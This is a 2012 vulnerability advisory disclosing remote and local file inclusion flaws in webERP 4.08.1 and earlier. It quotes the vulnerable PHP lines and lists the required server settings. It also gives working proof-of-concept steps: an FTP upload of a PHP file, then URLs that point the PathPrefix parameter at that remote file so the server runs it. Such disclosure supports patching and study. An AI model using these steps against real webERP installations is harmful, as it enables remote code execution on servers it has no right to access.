:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-06-27 ] ################################################################### # [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability # ################################################################### # # Script: "Accounting & Best Practice Business Administration System" # # Vendor: http://www.weberp.org/ # Download: http://sourceforge.net/projects/web-erp/files/ # # File: ./webERP/index.php (line: 4) # 1 # dun@rd01 ~ $ ftp ftp.server.com # Connected to ftp.server.com. # Name (ftp.server.com): user # 331 User user OK. Password required # Password: # 230 OK. Current restricted directory is / # ftp> put config.php # local: config.php remote: config.php # 200 PORT command successful # 226 File successfully transferred # ftp> quit # 221 Logout. # # Now we can use url: # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/ # In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist. # If exist, then include it. # ################################################################### # # [RFI #2] ( allow_url_include = On; register_globals = On; ) # # File: ./webERP/includes/LanguageSetup.php (lines: 29-84) # ..cut.. # 29 if (!function_exists('gettext')) { # ..cut.. # 34 require_once($PathPrefix . 'includes/php-gettext/streams.php'); # ..cut.. # 64 } else { # 65 include($PathPrefix . 'includes/LanguagesArray.php'); # ..cut.. # 84 } # ..cut.. # # Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt? # ### [ dun / 2012 ] #####################################################